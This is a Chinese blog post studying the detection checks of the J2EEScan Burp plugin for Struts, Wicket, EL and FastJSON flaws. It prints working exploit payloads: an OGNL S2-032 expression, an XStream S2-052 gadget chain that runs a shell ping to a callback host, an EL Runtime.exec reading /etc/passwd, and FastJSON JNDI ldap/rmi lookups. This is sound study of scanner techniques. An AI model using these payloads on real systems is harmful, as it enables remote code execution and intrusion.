当前位置: 首页 > news >正文

【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)

【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)

前言

插件开发学习第7套。前置文章:

【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)

继续上一章的分析

【11】ApacheStrutsS2017-S2-017

参数较016 少了redirect:

       redirectMeth.add("redirect:");
        redirectMeth.add("redirectAction:");

payload

       rawrequest = callbacks.getHelpers().addParameter(rawrequest,
                        callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
                );

这里竟然没有恶意参数,知识一个跳转
match返回的状态码和header头

  if (statusCode >= 300 && statusCode < 400) {
                          if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {

看起来s2 017就是个URL跳转
https://www.cnblogs.com/jinqi520/p/10813737.html
在这里插入图片描述

【12】ApacheStrutsS2020 - S2-020

参数

modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
                callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
                        classLoaderStringTest, IParameter.PARAM_URL)
        );

payload

long unixTime = System.currentTimeMillis() / 1000L;
        String classLoaderStringTest = "testClassloaderManipulation" + unixTime;

match返回包

    private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",

这个漏洞原理是支持使用classLoader
可以看这篇
struts自定义的classloadr

class.classLoader.resources.dirContext.docBase

在这里插入图片描述
这里有两种绕过姿势

  • class[‘classLoader’]
  • Class.classloader
    问题正则
(.*\.|^)class\..*  两种都能绕过
(.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过

安全正则

(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

【13】ApacheStrutsS2032 - S2-032

老样子,去除所有参数

     byte[] rawrequest = baseRequestResponse.getRequest();
        //Remove URI parameters
        for (IParameter param : parameters) {
            rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
        }

入参

method:

payload

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString

展开看看

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#kzxs.print(#parameters.hook[0]),
#kzxs.print(new java.lang.Integer(829+9)),
#kzxs.close(),1?
#xx:
#request.toString

第一步:从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.(SecurityMemberAccess 比较严格限制了反射类,DefaultMemberAccess不限制反射类),后面直接调用反射就行。
其中hook[0]是后面的参数

modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
                    callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
            );

match,因为print了俩,一个是HOOK_VAL,一个是表达式计算的值。

private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
            Pattern.DOTALL | Pattern.MULTILINE);

【14】ApacheStrutsS2043 - S2-043(Config Browser插件泄露)

遍历path

private static final List<String> BROWSER_PATHS = Arrays.asList(
            "/config-browser/actionNames",
            "/config-browser/actionNames.action"
    );

请求之后match

private static final byte[] GREP_STRING = "<title>Actions in namespace</title>".getBytes();

在这里插入图片描述

【15】ApacheStrutsS2052-S2-052

首先判断了有没有content-type

        String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");

毕竟payload要靠xml传过去
增加content-type

        List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");

payload

String payload = " ping " + currentCollaboratorPayload;

        String xmlMarshallingBody= "<map>\n" +
            "  <entry>\n" +
            "    <jdk.nashorn.internal.objects.NativeString>\n" +
            "      <flags>0</flags>\n" +
            "      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
            "        <dataHandler>\n" +
            "          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
            "            <is class=\"javax.crypto.CipherInputStream\">\n" +
            "              <cipher class=\"javax.crypto.NullCipher\">\n" +
            "                <initialized>false</initialized>\n" +
            "                <opmode>0</opmode>\n" +
            "                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
            "                  <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
            "                    <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
            "                    <next class=\"java.lang.ProcessBuilder\">\n" +
            "                      <command>\n" +
            "                        <string>/bin/sh</string><string>-c </string><string>" + payload + "</string>\n" +
            "                      </command>\n" +
            "                      <redirectErrorStream>false</redirectErrorStream>\n" +
            "                    </next>\n" +
            "                  </iter>\n" +
            "                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
            "                    <method>\n" +
            "                      <class>java.lang.ProcessBuilder</class>\n" +
            "                      <name>start</name>\n" +
            "                      <parameter-types/>\n" +
            "                    </method>\n" +
            "                    <name>foo</name>\n" +
            "                  </filter>\n" +
            "                  <next class=\"string\">foo</next>\n" +
            "                </serviceIterator>\n" +
            "                <lock/>\n" +
            "              </cipher>\n" +
            "              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
            "              <ibuffer/>\n" +
            "              <done>false</done>\n" +
            "              <ostart>0</ostart>\n" +
            "              <ofinish>0</ofinish>\n" +
            "              <closed>false</closed>\n" +
            "            </is>\n" +
            "            <consumed>false</consumed>\n" +
            "          </dataSource>\n" +
            "          <transferFlavors/>\n" +
            "        </dataHandler>\n" +
            "        <dataLen>0</dataLen>\n" +
            "      </value>\n" +
            "    </jdk.nashorn.internal.objects.NativeString>\n" +
            "    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
            "  </entry>\n" +
            "  <entry>\n" +
            "    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
            "    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
            "  </entry>\n" +
            "</map>";
        
    
        

这个payload和之前的有所不同,查一下漏洞原理:
使用Struts2 REST插件的XStream组件反序列化操作没有校验。
https://blog.csdn.net/qq_44312507/article/details/103585253
match的话match
collaboratorContext的接收值就行。

【16】ApacheStrutsShowcase

ApacheStrutsShowcase
关键路劲

   private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList(
            "/struts2-showcase/showcase.action"
    );

如果match到

private static final byte[] GREP_STRING = "<title>Struts2 Showcase</title>".getBytes();

则存在问题

看上去这个showcase.action在多个S2系列的漏洞中出现,比较容易出问题。
https://www.anquanke.com/post/id/86757

【16】ApacheStrutsWebConsole

控制台路径

private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList(
            "/struts/webconsole.html?debug=console"
    );

如果match到

private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();

则存在问题
长这样
在这里插入图片描述
但是有利用条件
只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。
https://www.secpulse.com/archives/48383.html

【17】ApacheWicketArbitraryResourceAccess 目录穿越漏洞

路径包含

"wicket/resource")

payload则是替换掉上面的路径
换成

    private static final List<String> PAYLOADS = Arrays.asList(
            "wicket/resource/int/wicket.properties,/bla/ HTTP",
            "wicket/resources/int/wicket.properties,/bla/ HTTP"
    );

这里采用的是替换原始请求包正则匹配

                byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));

match则是

    private static final byte[] GREP_STRING = "initializer=".getBytes();

百度竟然没有找到相关漏洞解释
去apache看看
https://issues.apache.org/jira/browse/WICKET-4427
看出来了,是目录穿越

public ExtensionResourceNameIterator(String path, final String extension)
    {
        if ((extension == null) && (path.indexOf('.') != -1))
        {
// Get the extension from the path provided
            extensions = new String[] { "." + Strings.lastPathComponent(path, '.') };
            path = Strings.beforeLastPathComponent(path, '.');
        }
        else if (extension != null)
        {
// Extension can be a comma separated list
            extensions = Strings.split(extension, ',');
            for (int i = extensions.length - 1; i >= 0; i--)
            {
                extensions[i] = extensions[i].trim();
                if (!extensions[i].startsWith("."))
                {
                    extensions[i] = "." + extensions[i];
                }
            }
        }
        else
        {
            extensions = new String[1];
            extensions[0] = ".";
        }

        this.path = path;
        index = 0;
    }

注意这个分支

else if (extension != null)
        {
// Extension can be a comma separated list
            extensions = Strings.split(extension, ',');
            for (int i = extensions.length - 1; i >= 0; i--)
            {
                extensions[i] = extensions[i].trim();
                if (!extensions[i].startsWith("."))
                {
                    extensions[i] = "." + extensions[i];
                }
            }
        }

相当于根据,取了多个后缀然后拼接造成了路径穿越。

【18】EL3Injection EL 3.0/Lambda Injection EL表达式注入

payload

   private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
            "System.getProperties()".getBytes()
    );            
     

直接post请求发过去

            byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
            IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
                    baseRequestResponse.getHttpService(), checkRequest);

match到

    private static final byte[] GREP_STRING = "java.vendor".getBytes();  
    

则存在漏洞
这是直接执行命令??
match的是命令结果
在这里插入图片描述
看了下文章
在这里插入图片描述
不太现实,是指用户的输入直接传入了elp.eval执行

【19】ELInjection EL (Expression Language) Injection

payload

        byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();

拆分一下

a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
b = a.getInputStream()
c = new java.util.Scanner(b,utf)
d = c.useDelimiter(\"\\\\A\")
e = d.next()

match的话就matchpasswd,这个判断不好,既然都是exec,为何不用ping这种跨平台的命令或者echo。

第二中payload

     HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {
            {
                put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());
            }
        };

key是payload,value是响应包的match
EL表达式
https://xz.aliyun.com/t/7692

【20】FastJsonRCE CVE 2017-18349

payload

    // https://github.com/jas502n/fastjson-1.2.61-RCE
        List<String> PAYLOADS = new ArrayList<>();
        PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");
        PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");
        PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");
        PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");

记得改content-type

 String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
        if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {

match dnslog即可

collaboratorContext

分析看这个吧
http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/

后话

本章结束

相关文章:

  • json/xml/schema
  • 进程管理学习
  • XMLHttpRequest对象,简单ajax get请求的例子
  • 在 Windows 10 | Docker Desktop | Kubernetes 环境 使用 hostPath / local 为 POD 配置本机目录
  • .NET 服务 ServiceController
  • 卧槽!GitHub排行榜即将下线;酷炫的Python热重载工具;开发者体验·电子书;C++最佳实践合辑;前沿论文 | ShowMeAI资讯日报
  • 基于惯性权值非线性递减的改进粒子群算法 - 附代码
  • 用ARM进行汇编语言编程(4)带有分支的循环和条件指令执行
  • Postgresql源码(77)plpgsql中参数传递和赋值
  • CSAPP datalab
  • Github爆火,阿里最新发布的《高并发核心编程笔记》PDF文档
  • ntohl()、htonl()、ntohs()、htons()函数
  • 基于ssm+vue的师生防疫登记管理系统 elementui
  • trustZone学习
  • USB转多串口设备固定串口号
  • 网络传输文件的问题
  • 【跃迁之路】【477天】刻意练习系列236(2018.05.28)
  • Facebook AccountKit 接入的坑点
  • Java|序列化异常StreamCorruptedException的解决方法
  • Laravel核心解读--Facades
  • Lsb图片隐写
  • nodejs实现webservice问题总结
  • PHP那些事儿
  • ubuntu 下nginx安装 并支持https协议
  • Vue UI框架库开发介绍
  • Vue组件定义
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 分布式事物理论与实践
  • 官方新出的 Kotlin 扩展库 KTX,到底帮你干了什么?
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 深入浅出webpack学习(1)--核心概念
  • 听说你叫Java(二)–Servlet请求
  • 系统认识JavaScript正则表达式
  • puppet连载22:define用法
  • !! 2.对十份论文和报告中的关于OpenCV和Android NDK开发的总结
  • #、%和$符号在OGNL表达式中经常出现
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (二十四)Flask之flask-session组件
  • (附源码)php新闻发布平台 毕业设计 141646
  • (附源码)ssm基于web技术的医务志愿者管理系统 毕业设计 100910
  • (附源码)计算机毕业设计ssm基于Internet快递柜管理系统
  • .equal()和==的区别 怎样判断字符串为空问题: Illegal invoke-super to void nio.file.AccessDeniedException
  • .NET 4.0中使用内存映射文件实现进程通讯
  • .NET Core中的去虚
  • .Net 中的反射(动态创建类型实例) - Part.4(转自http://www.tracefact.net/CLR-and-Framework/Reflection-Part4.aspx)...
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)
  • .net开发时的诡异问题,button的onclick事件无效
  • .NET中的十进制浮点类型,徐汇区网站设计
  • :not(:first-child)和:not(:last-child)的用法
  • @KafkaListener注解详解(一)| 常用参数详解
  • @RestController注解的使用
  • [ C++ ] STL_stack(栈)queue(队列)使用及其重要接口模拟实现
  • [ Linux ] Linux信号概述 信号的产生
  • []新浪博客如何插入代码(其他博客应该也可以)